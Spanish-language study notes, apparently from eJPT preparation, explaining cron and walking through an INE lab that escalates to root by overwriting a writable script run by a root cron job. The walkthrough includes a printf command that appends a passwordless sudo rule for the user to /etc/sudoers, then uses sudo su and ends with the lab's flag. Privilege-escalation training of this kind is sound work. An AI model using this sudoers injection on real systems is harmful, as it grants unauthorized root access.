> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/linux/escalada-de-privilegios-de-linux/exploits-tareas-cron-mal-configuradas.md).

# Exploits tareas cron mal configuradas

## ⚙️ ¿Qué es Cron?

* **Cron** es una utilidad de Linux encargada de la **programación de tareas automatizadas**.
* Permite ejecutar **aplicaciones, scripts o comandos** en intervalos definidos (minutos, horas, días, etc.).
* Las tareas programadas mediante Cron se conocen como **cron jobs**.

> 🔁 Cron es ideal para automatizar procesos como **respaldos diarios, actualizaciones del sistema, parches**, entre otros.

## 📄 ¿Dónde se configuran los Cron Jobs?

* En el archivo `crontab`, que guarda y gestiona los cron jobs de cada usuario.
* Puedes listar los cron jobs activos con:

```bash
crontab -l
```

***

## 🚨 Explotación de Cron Jobs Mal Configurados

#### 🎯 ¿Qué buscamos como pentesters?

Nuestro objetivo será **escalar privilegios** explotando **cron jobs configurados incorrectamente**, sobre todo los que:

* 🔐 **Son ejecutados por el usuario `root`**.
* 📁 Ejecutan **scripts o procesan archivos que podemos modificar** como usuarios sin privilegios.

> 🧨 Si logramos inyectar comandos maliciosos en esos scripts o archivos, se ejecutarán automáticamente con **privilegios de root** en el próximo ciclo del cron job.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Acceda a la máquina Kali

<figure><img src="/files/pEIdoN5XlOpXxot2B4UV" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verificar la alcanzabilidad del objetivo

**Dominio:**

```
ping -c4 target.ine.local
```

<figure><img src="/files/zAnaAJIh9mlpLoPvZ6tU" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Acceder al servicio expuesto

Abra un navegador y navegue a la siguiente URL para explorar el servicio que se ejecuta en el puerto 8000:

\[<http://target.ine.local:8000>]

<figure><img src="/files/yTgyER07CXiDwlmoGG8P" alt=""><figcaption></figcaption></figure>

Ahora debería ver la interfaz de terminal Linux ejecutándose, lo que confirma que el servicio está activo y accesible.

**Paso 4:** Hay un archivo **de mensaje** en el directorio de inicio del usuario estudiante. Solo el usuario root tiene permisos para acceder a él. Por lo tanto, ni siquiera puede leerlo.

**Dominio:**

```
ls -l
```

<figure><img src="/files/791Z0lVQKfACp4U7nniw" alt=""><figcaption></figcaption></figure>

**Paso 5:** Busque si existe un archivo con el mismo nombre en el sistema.

**Dominio:**

```
find / -name message
```

<figure><img src="/files/Qg37sfhVhZEPqyfDvB2J" alt=""><figcaption></figcaption></figure>

**Paso 6:** Observe que hay un archivo con el mismo nombre en el directorio **/tmp** . Al revisarlo con atención, se observa que este archivo se sobrescribe cada minuto.

**Dominio:**

```
ls -l /tmp/
```

<figure><img src="/files/eY5ENB2eTeFEV2ywU2ts" alt=""><figcaption></figcaption></figure>

**Paso 7:** Esto significa que hay un script o binario que copia este archivo del directorio **principal** del estudiante al directorio **/tmp** . Busque ese script. Si este script realiza una copia simple, debe contener el origen y el destino del archivo. Intente localizarlo con el comando grep. Al probar en diferentes directorios uno por uno (por ejemplo, /, etc., /opt) y en el directorio /usr, se ha encontrado una coincidencia.

**Dominio:**

```
grep -nri "/tmp/message" /usr
```

<figure><img src="/files/QMu5Jy84tWrO1Ojv23hR" alt=""><figcaption></figcaption></figure>

**Paso 8:** Verifique los permisos de este archivo de script y su contenido.

**Comandos:**

```
ls -l /usr/local/share/copy.sh
cat /usr/local/share/copy.sh
```

<figure><img src="/files/vUYyWEzUsTJLu5mfi3Bl" alt=""><figcaption></figcaption></figure>

**Paso 9:** Dado que el archivo de script tiene permisos de escritura para el usuario actual **,** puede modificarse para ejecutar nuestros comandos. Este script lo ejecuta el trabajo cron raíz, por lo que puede realizar operaciones privilegiadas.

Pero el archivo no se puede modificar directamente ya que no hay un editor de texto en el sistema.

**Comandos:**

```
vim /usr/local/share/copy.sh
vi /usr/local/share/copy.sh
nano /usr/local/share/copy.sh
```

<figure><img src="/files/kwsA2o5o5J1OEsogmqDc" alt=""><figcaption></figcaption></figure>

**Paso 10:** Use printf para reemplazar el código original con las siguientes líneas.

**Código:**

```
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
```

Al ejecutarse, estas líneas agregarán una nueva entrada al archivo **/etc/sudoers** que permitirá al usuario estudiante usar sudo sin proporcionar ninguna contraseña.

**Dominio:**

```
cat /usr/local/share/copy.sh
```

<figure><img src="/files/S833uJicP87zuBr4pf8u" alt=""><figcaption></figcaption></figure>

**Paso 11:** Verifique la lista de sudoers actual.

**Dominio:**

```
sudo -l
```

**Nota:** Es posible que tengas que esperar 1 minuto (es decir, que la tarea cron se ejecute cada 1 minuto) y volver a consultar la lista de sudoers. Esta vez, hay una nueva entrada.

<figure><img src="/files/X111wipZPeXyrXgqRGYK" alt=""><figcaption></figcaption></figure>

**Paso 12:** Cambia al usuario root usando **sudo** .

**Dominio:**

```
sudo su
```

<figure><img src="/files/7OM976NUtkMuOG3KOAM2" alt=""><figcaption></figcaption></figure>

**Paso 13:** Recoge la **bandera** del directorio raíz.

**Comandos:**

```
cd /root
ls -l
cat flag
```

<figure><img src="/files/KPcscp7KIrTNbrYKRxw3" alt=""><figcaption></figcaption></figure>

#### Bandera: 697914df7a07bb9b718c8ed258150164
